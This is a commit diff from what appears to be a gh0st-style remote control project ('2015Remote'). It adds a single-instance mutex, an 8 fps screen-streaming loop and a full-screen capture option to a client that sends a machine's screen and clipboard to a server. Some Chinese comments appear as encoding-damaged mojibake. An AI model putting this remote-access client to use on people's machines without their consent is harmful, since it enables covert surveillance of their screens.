远程桌面优化迟钝问题

.gitignore

@@ -60,3 +60,9 @@ $RECYCLE.BIN/
 
 # Windows shortcuts
 *.lnk
+*.sdf
+server/2015Remote/2015Remote.aps
+*.ipch
+*.aps
+*.suo
+server/2015Remote.VC.db

ReadMe.txt

@@ -24,3 +24,9 @@
 3、新增项目"ghost"，不通过TestRun调用dll，而是直接生成可执行文件。
 
 4、修复开启视频，客户端产生的一处内存泄漏缺陷，m_pCapture需要释放。
+
+2019.1.7
+
+1、ghost单台电脑只允许启动唯一的实例。
+
+2、远程桌面反应迟钝，改用每秒传送8帧屏幕，后续有待优化。

client/ClientDll.cpp

@@ -39,6 +39,12 @@ int main(int argc, const char *argv[])
 		std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
 		return -1;
 	}
+	HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
+	if (ERROR_ALREADY_EXISTS == GetLastError())
+	{
+		CloseHandle(hMutex);
+		return -2;
+	}
 	
 	SetConsoleCtrlHandler(&callback, TRUE);
 	const char *szServerIP = argv[1];
@@ -54,6 +60,7 @@ int main(int argc, const char *argv[])
 	CloseHandle(hThread);
 	status = E_STOP;
 
+	CloseHandle(hMutex);
 	return 0;
 }
 #else

client/IOCPClient.cpp

@@ -235,7 +235,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
 }
 
 
-int IOCPClient::OnServerSending(char* szBuffer, ULONG ulOriginalLength)  //Hello
+int IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)  //Hello
 {
 	m_WriteBuffer.ClearBuffer();
 

client/IOCPClient.h

@@ -38,7 +38,7 @@ public:
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
 
 	VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
-	int OnServerSending(char* szBuffer, ULONG ulOriginalLength);
+	int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
 	BOOL SendWithSplit(char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
 
 	BOOL IsRunning() const

client/ScreenManager.cpp

@@ -11,6 +11,7 @@
 #else
 #include <WinUser.h>
 #endif
+#include <time.h>
 using namespace std;
 
 //////////////////////////////////////////////////////////////////////
@@ -44,10 +45,25 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
 
 	This->WaitForDialogOpen();   
 
-	This->SendFirstScreen();         
+	clock_t last = clock();
+	This->SendFirstScreen();
+	const int fps = 8;// ֡<><D6A1>
+	const int sleep = 1000 / fps;// <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨ms<6D><73>
 	while (This->m_bIsWorking)
 	{
-		This->SendNextScreen();
+		ULONG ulNextSendLength = 0;
+		const char*	szBuffer = This->GetNextScreen(ulNextSendLength);
+		if (szBuffer)
+		{
+			int span = sleep-(clock() - last);
+			Sleep(span > 0 ? span : 1);
+			if (span < 0)
+				printf("SendScreen Span = %d ms\n", span);
+			last = clock();
+			This->SendNextScreen(szBuffer, ulNextSendLength);
+			delete[] szBuffer;
+			szBuffer = NULL;
+		}
 	}
 
 	cout<<"ScreenWorkThread Exit"<<endl;
@@ -196,35 +212,30 @@ VOID CScreenManager::SendFirstScreen()
 	szBuffer = NULL;
 }
 
-
+const char* CScreenManager::GetNextScreen(ULONG &ulNextSendLength)
-VOID CScreenManager::SendNextScreen()
 {
 	//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݣ<EFBFBD><DDA3>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݴ<EFBFBD>С<EFBFBD><D0A1>Ȼ<EFBFBD><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	//<2F><><EFBFBD>ǵ<EFBFBD>getNextScreen<65><6E><EFBFBD><EFBFBD><EFBFBD>Ķ<EFBFBD><C4B6><EFBFBD> 
-	LPVOID	NextScreenData = NULL;
+	LPVOID	NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
-	ULONG	ulNextSendLength = 0;
-	NextScreenData = m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
 
-	if (ulNextSendLength == 0 || NextScreenData==NULL)
+	if (ulNextSendLength == 0 || NextScreenData == NULL)
-	{		
+	{
-		return;
+		return NULL;
 	}
 
 	ulNextSendLength += 1;
 
-	LPBYTE	szBuffer = new BYTE[ulNextSendLength];
+	char*	szBuffer = new char[ulNextSendLength];
-	if (szBuffer == NULL)
-	{
-		return;
-	}
 
 	szBuffer[0] = TOKEN_NEXTSCREEN;
 	memcpy(szBuffer + 1, NextScreenData, ulNextSendLength - 1);
 
-	m_ClientObject->OnServerSending((char*)szBuffer, ulNextSendLength);
+	return szBuffer;
+}
 
-	delete [] szBuffer;
+VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength)
-	szBuffer = NULL;
+{
+	m_ClientObject->OnServerSending(szBuffer, ulNextSendLength);
 }
 
 VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)

client/ScreenManager.h

@@ -22,18 +22,19 @@ public:
 	HANDLE  m_hWorkThread;
 
 	static DWORD WINAPI WorkThreadProc(LPVOID lParam);
-	VOID CScreenManager::SendBitMapInfor();
+	VOID SendBitMapInfor();
-	VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength);
+	VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
 
 	CScreenSpy* m_ScreenSpyObject;
-	VOID CScreenManager::SendFirstScreen();
+	VOID SendFirstScreen();
-	VOID CScreenManager::SendNextScreen();
+	const char* GetNextScreen(ULONG &ulNextSendLength);
+	VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
 
-	VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
+	VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
 	BOOL  m_bIsWorking;
 	BOOL  m_bIsBlockInput;
-	VOID CScreenManager::SendClientClipboard();
+	VOID SendClientClipboard();
-	VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength);
+	VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);	
 };
 
 #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)

client/ScreenSpy.cpp

@@ -200,10 +200,14 @@ VOID CScreenSpy::WriteRectBuffer(LPBYTE	szBuffer,ULONG ulLength)
 	m_RectBufferOffset += ulLength;
 }
 
+
 VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
 {
-	ULONG	ulJumpLine = 50;
+#ifdef COPY_ALL
-	ULONG	ulJumpSleep = ulJumpLine / 10; 
+	BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, 0, 0, m_dwBitBltRop);
+#else
+	const ULONG	ulJumpLine = 50;
+	const ULONG	ulJumpSleep = ulJumpLine / 10; 
 
 	for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump)
 	{
@@ -216,6 +220,7 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
 		BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, m_dwBitBltRop);
 		Sleep(ulJumpSleep);
 	}
+#endif
 }
 
 ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, 

client/ScreenSpy.h

@@ -9,6 +9,7 @@
 #pragma once
 #endif // _MSC_VER > 1000
 #define ALGORITHM_DIFF 1
+#define COPY_ALL 1	// <20><><EFBFBD><EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>ֿ鿽<D6BF><E9BFBD><EFBFBD><EFBFBD>added by yuanyuanxiang 2019-1-7<><37>
 #include "CursorInfor.h"
 
 

client/ghost.vcxproj.user

@@ -6,5 +6,6 @@
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
+    <LocalDebuggerCommandArguments>192.168.43.165 2356</LocalDebuggerCommandArguments>
   </PropertyGroup>
 </Project>